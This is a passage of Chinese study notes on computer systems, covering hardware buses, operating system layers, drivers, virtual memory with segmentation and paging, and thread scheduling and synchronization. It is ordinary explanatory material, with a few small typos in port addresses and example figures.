芯片。磁盘、USB 等设备都链接在南桥上,由南桥将它们汇总后连接到北桥上。\n\n位于中间的是连接所有高速芯片的北桥,它就像人的心脏,连接并驱动身体的各个部位;它的左边是 CPU,负责所有的控制和运算,就像人的大脑,北桥还连接着几个高速部件,包括左边的内存和下面的 PCI 总线。\nSMP与多核\nCPU 因制造工艺达到物理极限,因此 CPU 的频率达到了 4GHz 的天花板。\n在频率上短期内已经没有提高的余地,于是人们想办法从另外一个角度提高 CPU 的速度,就是增加 CPU 的数量。\n对称多处理器(SMP),简单地讲就是每个 CPU 在系统中所处的地位和所发挥的功能都是一样的,是相互对称的。理论上讲,增加 CPU 的数量就可以提高运算速度,但实际上并非如此,就像一个女人可以花 10 个月生一个孩子,但是 10 个女人并不能一个月就生出一个孩子一样。\n多核处理器就是将多个处理器 “合并在一起打包出售”,这些 “被打包” 的处理器之间共享比较昂贵的缓存部件,只保留多个核心,并且以一个处理器的外包装进行出售,售价比单核处理器只贵了一点,这就是多核处理器的基本想法。多核处理器实际上就是 SMP 的简化版,当然细节上还有一些差别。\n站得高,望得远系统软件这个概念其实比较模糊,传统意义上一般将用于管理计算机本身的软件称为系统软件,以区别普通的应用程序。\n系统软件可以分成两块,一块是平台性的,比如操作系统内核、驱动程序、运行库;另外一块是用于程序开发的,比如编译器、汇编器、链接器等开发工具和开发库。\n计算机系统软件体系结构采用一种层的结构,有人说过一句名言:\n\n计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决.\n\n这句话几乎概括了计算机软件体系结构的设计要点,整个体系结构从上到下都是按照严格的层次结构设计的。不仅是计算机系统软件整个体系是这样的,体系里面的每个组件,很多应用程序、软件系统甚至很多硬件结构都是按照这种层次的结构组织和设计的。\n系统软件体系结构中,各种软件的位置如图:\n\n每个层次之间都需要相互通信,既然需要通信必须有一个通信的协议,我们一般将其称为接口(Interface),接口的下面那层是接口的提供者,由它定义接口;接口的上面那层是接口的使用者,它使用该接口来实现所需要的功能。\n在层次结构中,接口是被精心设计过的,尽量保持稳定不变,那么理论上层次之间只要遵循这个接口,任何一个层都可以被修改或被替换。除了硬件和应用程序,其他都是所谓的中间层,每个中间层都是对它下面的那层的包装和扩展。\n正是这些中间层的存在,使得应用程序和硬件之间保持相对的独立。\n虚拟机技术就是在硬件和操作系统之间增加了一层虚拟层,使得一个计算机上可以同时运行多个操作系统,这也是层次结构带来的好处,在尽可能少改变甚至不改变其他层的情况下,新增加一个层次就可以提供前所未有的功能。\n我们的软件体系中,位于最上层的是应用程序,比如浏览器。从整个层次结构上来看,开发工具与应用程序是属于同一个层次的,因为它们都使用一个接口,那就是操作系统应用程序编程接口(API)。应用程序接口的提供者是运行库,什么样的运行库提供什么样的 API,比如 Linux 下的 Glibc 库提供 POSIX 的 API;Windows 的运行库提供 Windows API,最常见的 32 位 Windows 提供的 API 又被称为 Win32。\n运行库使用操作系统提供的系统调用接口(System call interface),系统调用接口在实现中往往以软件中断(Software interrupt) 的方式提供,比如 Linux 使用 0x80 号中断作为系统调用接口,Windows 使用 0x2E 号中断作为系统调用接口(从 XP Sp2 开始,Windows 开始采用一种新的系统调用方式)。\n操作系统内核层对于硬件层来说是硬件接口的使用者,而硬件是接口的定义者,硬件的接口定义决定了操作系统内核,具体来讲就是驱动程序如何操作硬件,如何与硬件通信。这种接口往往被叫做硬件规格(Hardware Specification),硬件的生产厂商负责提供硬件规格,操作系统和驱动程序的开发者通过阅读硬件规格文档所规定的各种硬件编程接口标准来编写操作系统和驱动程序。\n操作系统做什么操作系统的一个功能是提供抽象接口,另外一个主要功能是管理硬件资源。\n计算机硬件的能力是有限的,为了充分发挥计算机的性能我们一直追求充分挖掘硬件的能力。\n一个计算机中的资源主要分为CPU、存储器(包括内存和磁盘)和 I/O 设备。\n我们分别从这三个方面来看看如何挖掘他们的潜力。\n不要让CPU打盹在计算机发展早期,CPU 只能运行一个程序,当程序读写磁盘时,CPU 就空闲下来了,这在当时就是浪费。于是人们很快编写了一个监控程序,当某个程序暂时无需使用 CPU 时,监控程序就把另外的正在等待 CPU 资源的程序启动,使得 CPU 能够充分地利用起来。这被称为多道程序(Multiprogramming)。\n当时大大提高了 CPU 的利用率。不过这种原始的多道程序技术存在最大的问题是程序之间的调度策略太粗糙。对于多道程序来说,程序之间不分轻重缓急,如果有些程序急需使用 CPU 来完成一些任务(比如用户交互的任务),那么可能很长时间后才有机会分配到 CPU。\n经过稍微改进,程序运行模式变成了一种协作的模式,即每个程序运行一段时间以后都主动让出 CPU 给其他程序,使得一段时间内每个程序都有机会运行一小段时间。这对于一些交互式的任务尤为重要,比如点击鼠标或键盘。程序所要处理的任务可能并不多,但是它需要尽快地被处理,使得用户能够立即看到效果。这种程序协作模式叫做分时系统(Time-Sharing System)。这时候的监控程序已经比多道程序要复杂多了,完整的操作系统雏形已经逐渐形成了。\n但是在分时系统中,如果一个程序在进行一个很耗时的运算,一直霸占着 CPU 不放,那么操作系统也没办法,其他程序都只有等着,整个系统看过去好像死机了一样。比如程序进入了一个while(1)的死循环,那么整个系统都停止了。\n在现在看来很荒唐,系统中的任何一个程序死循环都会导致系统死机,这是无法令人接受的。当时的 PC 硬件处理能力本身就很弱,上面的应用大多比较低端,所以这种分时方式勉强也能应付一些当时的交互式环境了。\n此前在高端领域,非 PC 的大中小型机领域,其实已经在研究一种更为先进的操作系统了。这种模式就是我们现在所熟悉的多任务(Multi-tasking)系统,操作系统接管了所有的硬件资源,并且本身运行在一个受硬件保护的级别。所有的应用程序都以进程(Process) 的方式运行在比操作系统权限更低的级别,每个进程都有自己的地址空间,使得进程之间的地址空间相互隔离。\nCPU 由操作系统统一进行分配,每个进程根据进程优先级的高低都有机会得到 CPU,但是,如果运行时间超出了一定的时间,操作系统会暂停该进程,将 CPU 资源分配给其他等待运行的进程。这种 CPU 的分配方式即所谓的抢占式(Preemptive),操作系统可以强制剥夺 CPU 资源并且分配给它认为目前最需要的进程。如果操作系统分配给每个进程的时间都很短,即 CPU 在多个进程间快速地切换,从而造成了很多进程都在同时运行的假象。目前几乎所有现代的操作系统都是采用这种方式,比如我们熟悉的 UNIX、Llinux、Windows NT,以及 Mac OS X等流行的操作系统。\n设备驱动操作系统作为硬件层的上层,它是对硬件的管理和抽象。对于操作系统上面的运行库和应用程序来说,它们希望看到的是一个统一的硬件访问模式。作为应用程序的开发者,我们不希望在开发应用程序的时候直接读写硬件端口、处理硬件中断等这些繁琐的事情。由于硬件之间千差万别,它们的操作方式和访问方式都有区别。比如我们希望在显示器上画一条直线,对于程序员来说,最好的方式是不管计算机使用什么显卡、什么显示器,多少大小多少分辨率,我们都只要调用一个统一的 LineTo() 函数,具体的实现方式由操作系统来完成。\n当成熟的操作系统出现以后,硬件逐渐被抽象成了一系列概念。在 UNIX 中,硬件设备的访问形式跟访问普通的文件形式一样;在 Windows 系统中,图形硬件被抽象成了 GDI,磁盘被抽象成了普通文件系统,等等。程序员逐渐从硬件细节中解放出来,可以更多地关注应用程序本身的开发。这些繁琐的硬件细节全都交给了操作系统,具体地讲是操作系统中的硬件驱动程序(Device Driver) 来完成。驱动程序可以看作是操作系统的一部分,它往往跟操作系统内核一起运行在特权级,但它又与操作系统内核直接有一定的独立性,使得驱动程序有比较好的灵活性。因为 PC 的硬件多如牛毛,操作系统开发者不可能为每个硬件开发一个驱动程序,这些驱动程序的开发工作通常由硬件生产厂商完成。操作系统开发者为硬件生产厂商提供了一系列接口和框架,凡是按照这个接口和框架开发的驱动程序都可以在该操作系统上使用。\n让我们以一个读取文件为例子来看看操作系统和驱动程序在这个过程中扮演了什么样的角色。\n提到文件的读取,就不得不提文件系统这个操作系统中最为重要的组成部分之一。文件系统管理着磁盘中文件的存储方式,比如我们在 Linux 系统下有一个文件 /home/user/test.dat,长度为 8000 个字节。那么我们在创建这个文件的时候,Linux 的 ext3 文件系统可能将这个文件按照这样的方式存储在磁盘中:文件的前 4096 字节存储在磁盘的1000 号扇区到 1007 号扇区,每个扇区 512 字节,8 个扇区刚好 4096 字节;文件的第 4097 个字节到第 8000 字节共 3904 个字节,存储在磁盘的 2000 号扇区到 2007 号扇区,8 个扇区也是 4096 个字节,只不过只存储了 3904 个有效的字节,剩下的 192 个字节无效。\n如果把这个文件的存储方式看作是一个链状的结构,它的结构如图\n\n硬盘结构,硬盘基本存储单位为扇区(Sector),每个扇区一般为 512 字节。一个硬盘往往有多个盘片,每个盘片分两面,每面按照同心圆划分为若干个磁道,每个磁道划分为若干个扇区。比如一个硬盘有 2 个盘片,每个盘面分 65536 磁道,每个磁道分 1024 个扇区,那么硬盘的容量就是 137 438 953 472字节(128GB)。但是我们可以想象,每个盘面上同心圆的周长不一样,如果按照每个磁道都拥有相同数量的扇区,那么靠近盘面外围的磁道密度肯定比内圈更加稀疏,这样是比较浪费空间的。但是如果不同的磁道扇区数又不同,计算起来就十分麻烦。为了屏蔽这些复杂的硬件细节,现代的硬盘普遍使用 LBA 的方式,即整个硬盘中的所有的扇区从 0 开始编号,一直到最后一个扇区,这个扇区编号叫做逻辑扇区号。逻辑扇区号抛弃了所有复杂的磁道、盘面之类的概念。当我们给出一个逻辑的扇区号时,硬盘的电子设备会将其转换成实际的盘面、磁道等这些位置。\n文件系统保持了这些文件的存储结构,负责维护这些数据结构并且保证磁盘中的扇区能够有效地组织和利用。那么当我们在 Linux 系统中,要读取这个文件的前 4096 个字节时,我们会使用一个 read 的系统调用来实现。文件系统收到 read 请求之后,判断出文件的前 4096 个字节位于磁盘的 1000 号逻辑扇区到 1007 号逻辑扇区。然后文件系统就向硬盘驱动发出一个读取逻辑扇区为 1000 号开始的 8 个扇区的请求,磁盘驱动程序收到这个请求以后就像硬盘发出硬件命令。向硬件发送 I/O 命令的方式有很多种,其中最常见的一种就是通过读写 I/O 端口寄存器来实现。在 x86 平台上,共有 65 536 个硬件端口寄存器,不同的硬件被分配到了不同的 I/O 端口地址。CPU 提供了两条专门的指令 “in” 和“out” 来实现对硬件端口的读和写。\n对 IDE 接口来说,它有两个通道,分别为 IDE0 和 IDE1,每个通道上可以连接两个设备,分别为 Master 和 Slave,一个 PC 中最多可以有 4个 IDE 设备。假设我们的文件位于 IDE0 的 Master 硬盘上,这也是正常情况下硬盘所在的位置。在 PC 中,IDE0 通道的 I/O 端口地址是 0x1F00x1IDE 及 0x3760x377。通过读写这些端口地址就能与 IDE 硬盘进行通信。这些端口的作用和操作方式十分复杂,我们以实现读取 1000 号逻辑扇区开始的 8 个扇区为例:\n\n第 0x1F3~0x1F6 4个字节的端口地址是用来写入 LBA 地址的,那么 1000 号逻辑扇区的 LBA 地址为 0x000003E8,所以我们需要往 0x1F3、 0x1F4 写入 0x00,往 0x1F5 写入 0x03,往 0x1F6 写入 0xE8。 \n0x1F2 这个地址用来写入命令所需要读写的扇区数。比如读取 8 个扇区 即写入 8。 \n0x1F7这个地址用来写入要执行的操作的命令码,对于读取操作来说,命令字为 0x20。 \n所以我们要执行的指令为: out 0x1F3, 0x00out 0x1F4, 0x00out 0x1F5, 0x03out 0x1F6, 0xE8out 0x1F2, 0x08out 0x1F7, 0x20\n\n在硬盘收到这个命令以后,它就会执行相应的操作,并且将数据读取到事先设置好的内存地址中(这个内存地址也是通过类似的命令方式设置的)。当然这里的例子中只是最简单的情况,实际情况比这个复杂得多,驱动程序须要考虑硬件的状态(是否忙碌或读取错误)、调度和分配各个请求以达到最高的性能等。\n内存不够怎么办上面提到了进程的概念,进程的总体目标是希望每个进程从逻辑上来看都可以独占计算机的资源。操作系统的多任务功能使得 CPU 能够在多个进程之间很好地共享,从进程的角度看好像是它独占了 CPU 而不用考虑与其他进程分享 CPU 的事情。操作系统的 I/O 抽象模型也很好地实现了 I/O 设备的共享和抽象,那么唯一剩下的就是主存,也就是内存分配的问题了。\n在早期的计算机中,抽象是直接运行在物理内存上的,也就是说,程序在运行时所访问的地址都是物理地址。当然,如果一个计算机同时只运行一个程序,那么只要程序要求的内存空间不要超过物理内存的大小,就不会有问题。但事实上,为了更有效地利用硬件资源,我们会同时运行多个程序,正如前面的多道程序、分时系统和多任务中一样,当我们能够同时运行多个程序时,CPU 的利用率会很高。那么很明显的一个问题是,如何将计算机上有效的物理内存分配给多个程序使用。\n假设我们现在的计算机有 128MB 内存,程序 A 运行需要 10MB,程序 B 需要 100MB,程序 C 需要 20MB.如果我们需要同时运行程序 A 和B,那么比较直接的做法是将前 10MB 分配给程序 A,10MB~110MB 分配给 B。这样就能够实现 A 和 B 两个程序同时运行,但是这种简单的内存分配策略问题很多。\n\n地址空间不隔离 所有程序都直接访问物理地址,程序所使用的内存空间不是相互隔离的。恶意的程序可以很容易改写其他程序的内存数据,以达到破坏的目的;有些非恶意的、但是有臭虫的程序可能不小心修改了其他程序的数据,就会使其他程序也崩溃,这对于需要安全稳定的计算环境的用户来说是不能容忍的。用户希望他在使用计算机的时候,其中一个任务失败了,至少不会影响其他任务。\n\n内存使用效率低 由于没有有效的内存管理机制,通常需要一个程序执行时,监控程序就将整个程序装入内存中然后开始执行。如果我们忽然需要运行程序 C,那么这时内存空间其实已经不够了,这时候我们可以用的一个办法是将其他程序的数据暂时写到磁盘里面,等到需要用到的时候再读回来。由于程序所需要的空间是连续的,那么这个例子里面,如果我们将程序 A 换出到磁盘所释放的内存空间是不够的,所以只能将 B 换出到磁盘,然后 C 读入内存开始运行。可以看到整个过程中有大量的数据在换入换出,导致效率十分低下。\n\n程序运行的地址不确定 因为程序每次需要装入运行时,我们都需要给它从内存中分配一块足够大的空闲区域,这个空闲区域的位置是不确定的。这给程序的编写造成了一定的麻烦,因为程序在编写时,它访问数据和指令跳转时的目标地址很多都是固定的,这涉及程序的重定位问题,我们在后面还会详细探讨重定位的问题。\n\n\n解决这几个问题的思路就是使用我们前文提到过的法宝:增加中间层,即使用一种间接的地址访问方法。整个想法是这样的,我们把程序给出的地址看作是一种虚拟地址(Virtual Address),然后通过某些映射的方法,将这个虚拟地址转换成实际的物理地址。这样,只要我们能够妥善地控制这个虚拟地址到物理地址的映射过程,就可以保证任意一个程序所能够访问的物理内存区域跟另外一个程序相互不重叠,以达到地址空间隔离的效果。\n关于隔离让我们回到程序的运行本质上来。用户程序在运行时不希望介入到这些复杂的存储器管理过程中,作为普通的程序,它需要的是一个简单的执行环境,有一个单一的地址空间、有自己的 CPU,好像整个程序占有整个计算机而不用关心其他的程序(当然程序间通信的部分除外,因为这是程序主动要求跟其他程序通信和联系)。所谓的地址空间是个比较抽象的概念,你可以把它想象成一个很大的数组,每个数组的元素是一个字节,而这个数据大小由地址空间的地址长度决定,比如 32 位的地址空间的大小为 2^32=4 294 967 296 字节,即 4GB,地址空间有效的地址是 04294967295,用十六进制标识就是 0x000000000xFFFFFFFF。地址空间分两种:虚拟地址空间(Virtual Address Space)和物理地址空间(Physical Address Space)。\n物理地址空间是实实在在存在的,存在于计算机中,而且对于每一台计算机来说只有唯一的一个,你可以把物理地址空间想象成物理内存,比如你的计算机用的是 Intel的 Pentium 4 的处理器,那么它是 32 位的机器,即计算机地址线有 32 条(实际上是 36 条地址线,不够我们暂时认为它只是 32 条),那么物理空间就有 4GB。但是你的计算机只装了 512MB 的内存,那么其实物理地址的真正有效部分只有 0x00000000~0x1FFFFFFF,其他部分都是无效的(实际上还有一些外部 I/O 设备映射到物理空间的,也是有效的,但是我们暂时无视)。虚拟地址空间是指虚拟的、人们想象出来的地址空间,其实它并不存在,每个进程都有自己独立的虚拟空间,而且每个进制只能访问自己的地址空间,这样就有效做到了进程的隔离。\n分段(Segmentation)最开始人们使用的是一种叫做分段(Segmentation) 的方法,基本思路是把一段与程序所需要的内存空间大小的虚拟空间映射到某个地址空间。比如程序 A 需要 10MB 内存,那么我们假设有一个地址从 0x00000000 到 0x00A00000 的 10MB 大小的一个假象的空间,也就是虚拟空间,然后我们从实际的物理内存中分配一个相同大小的物理地址,假设是物理地址 0x10000000 开始到 0x00B00000 结束的一块空间。然后我们把这两块相同大小的地址空间一一映射,即虚拟空间中的每个字节相对于物理空间中的每个字节。这个映射过程由软件来设置,比如操作系统来设置这个映射函数,实际的地址转换由硬件完成。比如当程序 A 中访问地址 0x00001000 时,CPU 会将这个地址转换成实际的物理地址 0x00101000。那么比如程序 A 和程序 B 在运行时,它们的虚拟空间和物理空间映射关系可能如图所示。\n\n分段的方法基本解决了上面提到的 3 个问题中的第一个和第三个。首先它做到了地址隔离,因为程序 A 和程序 B 被映射到了两块不同的物理空间区域,它们之间没有任何重叠,如果程序 A 访问虚拟空间的地址超出了 0x00A00000 这个范围,那么硬件就会判断这是一个非法的访问,拒绝这个地址请求,并将这个请求报告给操作系统或监控程序,由它来决定如何处理。再者,对于每个程序来说,无论它们被分配到物理地址的哪一个区域,对于程序来说都是透明的,它们不需要关心物理地址的变化,它们只需要从地址 0x00000000 到 0x00A00000 来编写程序、放置变量,所有程序不再需要重定位。\n但是分段的这种方法还是没有解决我们的第二个问题,即内存使用效率的问题。分段对内存区域的映射还是按照程序为单位的,如果内存不足,被换入换出到磁盘的都是整个程序,这样势必会造成大量的磁盘访问操作,从而严重影响速度,这种方法还是显得粗糙,粒度比较大。事实上,根据程序的局部性原理,当一个程序在运行时,在某个时间段内,它只是频繁地用到了一小部分数据,也就是说,程序的很多数据其实在一个时间段内都是不会被用到的。人们很自然地想到了更小粒度的内存分隔和映射的方法,使得程序的局部性原理得到充分的利用,大大提高了内存的使用率。这种方法就是分页(Paging)。\n分页(Paging)分页的基本方法是把地址空间人为地等分成固定大小的页,每一页的大小由硬件决定,或硬件支持多种大小的页,由操作系统选择决定页的大小。比如 Intel Pentium 系列处理器支持 4KB 或 4MB 的页大小,那么操作系统可以选择每页大小为 4KB,也可以选择每页大小为 4MB,但是在同一时刻只能选择一种大小,所以对整个系统来说,页就是固定大小的。目前几乎所有的 PC 上的操作系统都使用 4KB 大小的页。我们使用的 PC 机是 32 位的虚拟地址空间,也就是 4GB,那么按 4KB 分页的话,总共有 1048 576 个页。物理空间也是同样的分法。\n下面我们来看一个简单的例子,如图所示,每个虚拟空间有 8 页,每页大小为 1KB,那么虚拟地址空间就是 8KB。我们假设该计算机有 13 条地址线,即拥有 2^13 的物理寻址能力,那么理论上物理空间可以多达 8KB。但是出于种种原因,购买内存的资金不够,只买得起 6KB 的内存,所有物理空间其实真正有效的只是前 6KB。\n那么,当我们把进程的虚拟地址空间按页分割,把常用的数据和代码页装载到内存中,把不常用的代码和数据保存在磁盘里,当需要用到的时候再把它从磁盘里取出来即可。以图为例,我们假设有两个进程 Process1 和 Process2,它们进程中的部分虚拟页面被映射到了物理页面,比如 VP0、VP1 和 VP7 映射到 PP0、PP2 和 PP3;而有部分页面却在磁盘中,比如 VP2 和 VP3 位于磁盘的 DP0 和 DP1 中;另外还有一些页面如 VP4、VP5 和 VP6 可能尚未被用到或访问到,它们暂时处于未使用的状态。在这里,我们把虚拟空间的页就叫虚拟页(VP,Virtual Page),把物理内存中的页叫做物理页(PP,Physical Page),把磁盘中的页叫做磁盘页(DP,Disk Page)。图中的线表示映射关系,我们可以看到虚拟空间的有些页被映射到同一个物理页,这样就可以实现内存共享。\n图中 Process1 的 VP2 和 VP3 不在内存中,但是当进程需要用到这两个页的时候,硬件会捕获到这个消息,就是所谓的页错误(PageFault),然后操作系统接管进程,负责将 VP2 和 VP3 从磁盘中读出来并且装入内存,然后将那个内存中的这两个页与 VP2 和 VP3之间建立映射关系。以页为单位来存取和交换这些数据非常方便,硬件本身就支持这种以页为单位的操作方式。\n\n保护也是页映射的目的之一,简单地说就是每个页可以设置权限属性,谁可以修改,谁可以访问等,而只有操作系统有权限修改这些属性,那么操作系统就可以做到保护自己和保护进程。对于保护,我们这里只是简单介绍,详细的介绍和为什么要保护我们将会在本书的第2部分再介绍。\n虚拟存储的实现需要依靠硬件的支持,对于不同的 CPU 来说是不同的。但是几乎所有的硬件都采用一个叫 MMU(Memory Management Unit) 的部件来进行页映射。如图所示\n\n在页映射模式下,CPU发出的是虚拟地址,即我们的程序看到的是虚拟地址。经过 MMU 转换以后就变成了物理地址。一般 MMU 都集成在 CPU 内部了,不会以独立的部件存在。\n众人拾柴火焰高线程基础 什么是线程\n线程有时也被称为轻量级进程(Lightweight Process,LWP),是程序执行流的最小单元。一个标准的线程由线程 ID、当前指令指针(PC)、寄存器集合、和堆栈组成。通常意义上,一个进程由一个到多个线程组成,各个线程之间共享程序的内存空间(包括代码段、数据段、堆等)及一些进程级的资源(如打开文件和信号)。一个经典的线程与进程的关系如图。\n\n大多数软件中,线程的数量都不止一个。多个线程可以互不干扰地并发执行,并共享进程的全局变量和堆的数据。\n使用多线程的原因有以下几点。\n\n某个操作可能会陷入长时间等待,等待的线程会进入睡眠状态,无法继续执行。多线程执行可以有效利用等待的时间。典型的例子是等待网络响应,这可能要花费数秒甚至数十秒。\n\n某个操作(常常是计算)会消耗大量的时间,如果只有一个线程,程序和用户之间的交互会中断。多线程可以让一个线程负责交互,另一个线程负责计算。\n\n程序逻辑本身就要求并发操作,例如一个多端下载软件。\n\n多 CPU 或多核计算机,本身具备同时执行多个线程的能力,因此单线程程序无法全面的发挥计算机的性能。\n\n相对于多进程应用,多线程在数据共享方面效率要高很多。\n\n\n线程的访问权限\n线程的访问非常自由,它可以访问进程内存里的所有数据,甚至包括其他线程的堆栈(如果它知道其他线程的堆栈地址),但实际运用中线程也拥有自己的私有存储空间,包括以下几方面。\n\n栈(尽管可能被其他线程访问,但一般情况下仍然可以认为是私有的数据)\n线程局部存储(Thread Local Storage,TLS)。线程局部存储是某些操作系统为线程单独提供的私有空间,但通常只具有很有限的容量。\n寄存器(包括 PC 寄存器),寄存器是执行流的基本数据,因此为线程私有。\n\n从 C 程序员的角度来看,数据在线程之间是否私有如表所示。\n\n线程调度与优先级\n不论是在多处理器的计算机上还是在单核处理器的计算机上,线程总是 “并发” 执行的。当线程数量小于等于处理器数量时(并且操作系统支持多处理器),线程的并发是真正的并发,不同的线程运行在不同的处理器上,彼此之间互不相干。但对于线程数量大于处理器数量的情况,线程的并发会受到一些阻碍,因为此时至少有一个处理器会运行多个线程。\n在单处理器对应多线程的情况下,并发是一种模拟出来的状态。操作系统会让这些多线程程序轮流执行,每次仅执行一小段时间,这样每个线程就 “看起来” 在同时执行。这样的一个不断在处理器上切换不同的线程的行为称之为线程调度(Thread Schedule)。\n在线程调度中,线程通常至少拥有三种状态,分别是:\n\n运行(Runing):此时线程正在执行。\n就绪(Ready):此时线程可以立刻运行,但CPU已经被占用。\n等待(Waiting):此时线程正在等待某一事件(通常是 I/O 或同步)发生,无法执行。\n\n​处于运行中线程拥有一段可以执行的事件,这段时间称为时间片(Time Slice) ,当时间片用尽的时候,该进程将进入就绪状态。如果在时间片用尽之前进程就开始等待某事件,那么它将进入等待状态。每当一个线程离开运行状态时,调度系统就会选择一个其他的就绪线程继续执行。在一个处于等待状态的线程所等待的事件发生之后,该线程将进入就绪状态。\n这 3 个状态的转移如图所示。\n\n线程调度自多任务操作系统问世以来就不断地被提出不同的方案和算法。现在主流的调度方式尽管各不相同,但都带有优先级调度(Priority Schedule) 和轮转法(Round Robin) 的痕迹。所谓轮转法,即是之前提到的让各个线程轮流执行一小段时间的方法。这决定了线程之间交错执行的特点。而优先级调度则决定了线程按照什么顺序轮流执行。在具有优先级调度的系统中,线程都拥有各自的线程优先级(Thread Priority)。具有高优先级的线程会更早地执行,而低优先级的程序常常要等待到系统中没有高优先级的可执行的线程存在时才能够执行。\n在 Windows 和 Linux 中,线程的优先级不仅可以由用户手动设置,系统还会根据不同线程的表现自动调整优先级,以使得调度更有效率。例如通常情况下,频繁地进入等待状态(进入等待状态,会放弃之后仍然可占用的时间份额)的线程(例如处理 I/O 的线程)比频繁进行大量计算、以至于每次都要把时间片全部用尽的进程要受欢迎得多。其实道理很简单,频繁等待的线程通常只占用很少的时间,CPU 也喜欢先捏软柿子。我们一般把频繁等待的线程称之为 IO 密集型线程(IO Bound Thread),而把很少等待的线程称为 CPU 密集型线程(CPU Bound Thread)。IO 密集型线程总是比 CPU 密集型线程容易得到优先级的提升。\n在优先级调度下,存在一种饿死(Starvation) 的现象,一个线程被饿死,是说它的优先级较低,在它执行之前,总是有较高优先级的线程试图执行,因此这个低优先级线程始终无法执行。当一个 CPU 密集型的线程获得较高的优先级时,许多低优先级的进程就很可能饿死。而一个高优先级的 IO 密集型线程由于大部分时间都处于等待状态,因此相对不容易造成其他线程饿死。为了避免饿死现象,调度系统常常会逐步提升那些等待了过长时间的得不到执行的线程的优先级。在这样的手段下,一个线程只要等待足够的时间,其优先级一定会提高到足够让它执行的程度。\n总结一下,在优先级环境下,线程的优先级改变一般有三种方式。\n\n用户指定优先级。\n根据进入等待状态的频繁程度提升或降低优先级。\n长时间得不到执行而被提升优先级。\n\n可抢占线程和不可抢占线程\n我们之前讨论的线程调度有一个特点,那就是线程在用尽时间片之后会被强制剥夺继续执行的权力,而进入就绪状态,这个过程叫做抢占(Preemption),即之后执行的别的线程抢占了当前线程。在早期的一些系统里,线程是不可抢占的。线程必须手动发出一个放弃执行的命令,才能让其他的线程得到执行。在这样的调度模型下,线程必须主动进入就绪状态,而不是靠时间片用尽来被强制进入。如果线程始终拒绝进入就绪状态,并且也不进行任何的等待操作,那么其他的线程将永远无法执行。\n在不可抢占线程中,线程主动放弃执行无非两种情况。\n\n当线程试图等待某事件时(I/O)等。\n线程主动放弃时间片。\n\n因此,在不可抢占线程执行的时候,有一个显著的特点,那就是线程调度的时间是确定的,线程调度只会发生在线程主动放弃执行或线程等待某事件的时候。这样可以避免一些因为抢占式线程里调度时机不确定而产生的问题(见下一节:线程安全)。但即使如此,非抢占式线程在今日已经十分少见。\nLinux的多线程\nWindows 内核有明确的线程和进程的概念。在其 API 中,可以使用明确的 API:CreateProcess 和 CreateThread 来创建进程和线程,并且有一系列的 API 来操纵它们。但对于 Linux 来说,线程并不是一个通用的概念。\nLinux 对多线程的支持颇为贫乏,事实上,在 Linux 内核中并不存在真正意义上的线程概念。Linux 将所有的执行实体(无论是线程还是进程)都称为任务(Task),每一个任务概念上都类似于一个单线程的进程,具有内存空间、执行实体、文件资源等。不过,Linux 下不同的任务之间可以选择共享内存空间,因而在实际意义上,共享了同一个内存空间的多个任务构成了一个进程,这些任务也就构成了这个进程里的线程。\n在 Linux 下,用以下方法可以构建一个新的任务,如图。\n\nfork 函数产生一个和当前进程完全一样的新进程,并和当前进程一样从 fork 函数里返回。\n在 fork 函数调用之后,新的任务将启动并和本任务一起从 fork 函数返回。但不同的是本任务的 fork 将返回新任务 pid,而新任务的 fork 将返回 0;\nfork 产生新任务的速度非常快,因为 fork 并不复制原任务的内存空间,而是和原任务一起共享一个写时复制(Copy on Write,COW) 的内存空间。所谓写时复制,指的是两个任务可以同时自由地读取内存,但任意一个任务试图对内存进行修改时,内存就会复制一份提供给修改方单独使用,以免影响到其他的任务使用。\nfork 只能够产生本任务的镜像,因此须要使用 exec 配合才能够启动别的新任务。exec 可以用新的可执行映像替换当前的可执行映像,因此在 fork 产生了一个新任务之后,新任务可以调用 exec 来执行新的可执行文件。fork 和 exec 通常用于产生新任务,而如果要产生新线程,则可以使用 clone。clone 函数的原型如下:\n\n使用 clone 可以产生一个新的任务,从指定的位置开始执行,并且(可选的)共享当前进程的内存空间和文件等。如此就可以在实际效果上产生一个线程。\n线程安全多线程程序处于一个多变的环境当中,可访问的全局变量和堆数据随时都可能被其他的线程改变。因此多线程程序在并发时数据的一致性变得非常重要。\n竞争与原子操作\n多个线程同时访问一个共享数据,可能造成很恶劣的后果,下面是一个著名的例子,假设有两个线程分别要执行如表所示的C代码。\n\n在许多体系结构上,++i 的实现方法会如下:\n\n读取 i 到某个寄存器x。\nx++。\n将 x 的内容存储回i。\n\n由于线程 1 和线程 2 并发执行,因此两个线程的执行序列很可能如下(注意:寄存器 x 的内容在不同的线程中是不一样的,这里 X1 和 X2 表示的线程 1 和 2 中的 X)\n\n从程序逻辑来看,两个线程都执行完毕之后,i 的值应该为 1 ,但从之前的执行序列可以看到,i 得到的值是 0。实际上这两个线程如果同时执行的话,i 的结果有可能是 0 或 1 或 2。可见,两个程序同时读写一个共享数据会导致意想不到的结果。\n很明显,自增(++)操作在多线程环境下会出现错误是因为这个操作被编译为汇编代码之后不止一条指令,因此在执行的时候可能执行了一半就被调度系统打断,去执行别的代码。我们把单指令的操作称为原子的(Atomic),因为无论如何,单条指令的执行是不会被打断的。为了避免出错,很多体系结构都提供了一些常用的操作的原子指令,例如 i386 就有一条 inc 指令可以增加一个内存单元值,可以避免出现上例中的错误情况。在 Windows 中有一套 API 专门进行一些原子操作,这些 API 称为 Interllocked API。\n\n使用这些函数时,Windows 将保证是原子操作的,因此可以不用担心出现问题。遗憾的是,尽管原子操作指令非常方便,但是它们仅适用于比较简单特定的场合。在复杂的场合下,比如我们要保证一个复杂的数据结构更改的原子性,原子操作指令就力不从心了。这里我们需要更加通用的手段:锁。\n同步与锁\n为了避免多个线程同时读写同一个数据而产生不可预料的后果,我们需要将各个线程对同一个数据的访问同步(Synchroniztion)。所谓同步,即是指在一个线程访问数据未结束的时候,其他线程不得对同一个数据进行访问。如此,对数据的访问被原子化了。\n同步的最常见方法是使用锁(Lock)。锁是一种非强制机制,每一个线程在访问数据或资源之前首先试图获取(Acquire) 锁,并在访问结束之后释放(Release) 锁。在锁已经被占用的时候试图获取锁时,线程会等待,直到锁重新可用。\n二元信号量(Binary Semaphore) 是最简单的一种锁,它只有两种状态:占用与非占用。它适合只能被唯一一个线程独占访问的资源。当二元信号量处于非占用状态时,第一个试图获取该二元信号量的线程会获得该锁,并将二元信号量置为占用状态,此后其他的所有试图获取该二元信号的线程将会等待,直到该锁被释放。\n对于允许多个线程并发访问的资源,多元信号量简称信号量(Semaphore),它是一个很好的选择。一个初始值为 